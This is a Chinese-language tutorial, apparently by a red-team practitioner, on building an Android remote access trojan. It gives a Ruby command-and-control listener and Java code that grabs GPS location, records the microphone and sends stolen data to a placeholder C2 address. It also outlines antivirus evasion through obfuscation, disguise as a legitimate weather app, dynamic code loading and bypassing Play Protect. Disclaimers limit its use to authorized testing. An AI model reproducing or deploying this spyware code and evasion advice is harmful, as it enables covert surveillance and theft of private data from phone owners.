一、从一个真实的安卓木马事件说起
2019 年的一起大型 Android 恶意软件事件曾震惊圈内。当时一个名为 Agent Smith 的家族化安卓木马感染了全球超过 2500 万台设备,恶意软件借助伪装正版应用、动态加载恶意模块的形式完成攻击,并通过广告点击获利。类似的安卓 RAT(远程访问木马)攻击活动并不少见,从 Pegasus 到 Cerberus,每一个案例都在展示攻击者如何将 Android 设备变为自己的情报中枢。
作为一名红队成员,我经常在模拟演练中需要开发或部署 Android RAT。虽然市面上有很多开源工具可以直接使用(如 Ahmyth 和 Metasploit 的 Android Meterpreter 模块),但这些工具往往会被杀软直接检测出来,失去了实战意义。今天这篇文章,我将带大家设计并开发一个属于自己的 Android RAT,从功能实现到免杀对抗,完整展示整个攻击链的流程。切记:本文所有内容仅供授权的安全测试与研究,切勿用于非法用途!
---
二、木马背后:如何让 Android 成为攻击跳板?
RAT 的核心功能盘点
一个实用的 Android RAT,在功能设计上通常离不开以下几个模块:
- 远程命令执行:可以在受害设备上执行任意命令,比如查看文件、截屏、录音等。
- 数据窃取:包括短信、通话记录、联系人、地理位置等敏感数据。
- 隐蔽与持久化:程序需要能够绕过杀软检测,伪装成正常应用并持久驻留。
- 通信模块:需要与 C2(命令控制服务器)通信,发送数据并接收命令。

在实际操作中,我会根据目标的实际情况调整 RAT 的功能需求,比如某次模拟攻击的目标是获取地理位置和麦克风录音数据,那就没必要实现完整的文件管理模块。
---
攻击链如何展开?
具体到 Android RAT 的攻击链,一般会分为以下几个阶段:
- 初始感染:木马通过社工手段(如伪装成合法应用)诱使目标用户安装。
- 权限提升:利用安卓的动态权限申请机制获取敏感操作权限,比如录音、定位等。
- 通信建立:通过 C2 服务器与攻击者通信,接收命令和上传数据。
- 数据窃取与操作:根据攻击需求执行如窃取短信、录音等操作。
- 持久化与隐蔽:通过伪装、混淆和免杀技术隐藏恶意行为并保持长时间驻留。
在这篇教程中,我们会一步步实现一个基础的 Android RAT,功能包括获取地理位置、录音、短信窃取以及远程命令执行。
---

三、搭建你的开发与测试环境
在正式开始开发之前,我们需要准备好一个完整的攻击环境,包括开发、测试和 C2 的部署。
工具选择与安装
- 开发工具:Android Studio
- 用于编写和打包 APK 文件。建议使用最新版本。
- 测试设备:一台 Android 模拟器或真实设备
- Android 模拟器推荐 Genymotion,真实设备建议使用较低版本 Android(如 Android 7 或 8)以降低权限受到的限制。
- C2 服务器:搭建一个简单的 HTTP 或 WebSocket 服务器
- 我们会用 Ruby 编写一个简化版的 C2,方便接收数据和发送命令。
- 网络调试工具:Burp Suite 或 Wireshark
- 用于捕获和分析木马的通信流量。
---
环境搭建步骤
1. 安装 Android Studio
下载并安装 Android Studio。确保你的环境中已经配置好了 Java JDK 和 Gradle 构建工具。
2. 准备测试设备
如果使用 Genymotion 模拟器,可以直接从其官网下载安装虚拟机镜像。如果你有一台闲置的 Android 真机设备,可以将其刷为开发模式并启用 USB 调试。
3. 部署 C2 服务器
在攻击者控制端,我们需要搭建一个简单的命令控制服务器,负责与木马通信。以下是一个简单的 Ruby C2 服务端代码:
<pre><code class="language-ruby">require 'socket'
创建一个简单的 TCP 服务器
server = TCPServer.new('0.0.0.0', 4444) puts '[+] C2 Server is running on port 4444...'
loop do client = server.accept puts "[+] Connection established from #{client.peeraddr[2]}"
接收来自客户端的消息
while (data = client.gets) puts "[*] Received: #{data.chomp}" print '[>] Enter command: ' command = gets.chomp client.puts(command) # 发送命令到客户端 end end</code></pre>
保存为 c2_server.rb,运行即可启动监听。
---
四、用代码打造你的第一款 Android RAT
接下来,我们将开发一个基础版的 Android RAT,功能包括上传设备地理位置、录音和短信窃取。
构建安卓木马的核心功能
以下是 Android RAT 的关键代码模块,主要通过 Java 和 Android API 实现。
1. 权限管理模块
Android 6.0 之后引入了动态权限申请机制,我们需要先申请敏感操作的权限。
<pre><code class="language-java">private void requestPermissions() { String[] permissions = { Manifest.permission.ACCESS_FINE_LOCATION, Manifest.permission.RECORD_AUDIO, Manifest.permission.READ_SMS };

ActivityCompat.requestPermissions(this, permissions, 1); }</code></pre>
2. 获取地理位置
通过 LocationManager 获取设备的经纬度信息。
<pre><code class="language-java">private String getLocation() { LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE); if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED) { return "Permission Denied"; } Location location = locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); return "Latitude: " + location.getLatitude() + ", Longitude: " + location.getLongitude(); }</code></pre>
3. 开启录音功能
使用 MediaRecorder 实现录音功能,将音频保存到设备存储中。
<pre><code class="language-java">private void startRecording() { MediaRecorder recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC); recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); recorder.setOutputFile(getFilesDir() + "/recording.3gp"); recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
try { recorder.prepare(); recorder.start(); } catch (IOException e) { e.printStackTrace(); } }</code></pre>
4. 发送数据到 C2
使用 HttpURLConnection 将数据上传到服务器。
<pre><code class="language-java">private void sendDataToC2(String data) { try { URL url = new URL("http://<C2_SERVER_IP>:4444"); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("POST"); conn.setDoOutput(true);
OutputStream os = conn.getOutputStream(); os.write(data.getBytes()); os.flush(); os.close();
conn.getResponseCode(); } catch (Exception e) { e.printStackTrace(); } }</code></pre>
---
五、免杀与对抗:躲避检测的关键
在实际攻击中,现成的木马代码往往会被杀软标记为恶意行为。为此,我们需要对 APK 文件进行免杀处理。以下是几个常用的免杀思路:
- 代码混淆:使用 ProGuard 混淆器对代码进行打包混淆。
- 伪装正常应用:将木马伪装成合法的应用(如天气App),并添加无害功能。
- 动态加载恶意模块:通过 DexClassLoader 动态加载恶意代码,避免静态分析。

---
六、经验教训与未来改进方向
在实际操作中,我发现 Android RAT 的开发与部署不是一件简单的事情,尤其在面对新版本 Android 系统时,权限限制和检测机制会给攻击带来很大障碍。未来需要关注以下几点改进方向:
- 更强的对抗性:研究如何绕过 Google Play Protect 等新型安全机制。
- 模块化设计:将恶意功能模块化,以便根据目标需求快速定制。
- 隐蔽通信:通过加密或伪装通信流量,避免被流量分析工具检测。
注意:本文内容仅供合法授权的红队演练与安全研究,切勿用于非法目的!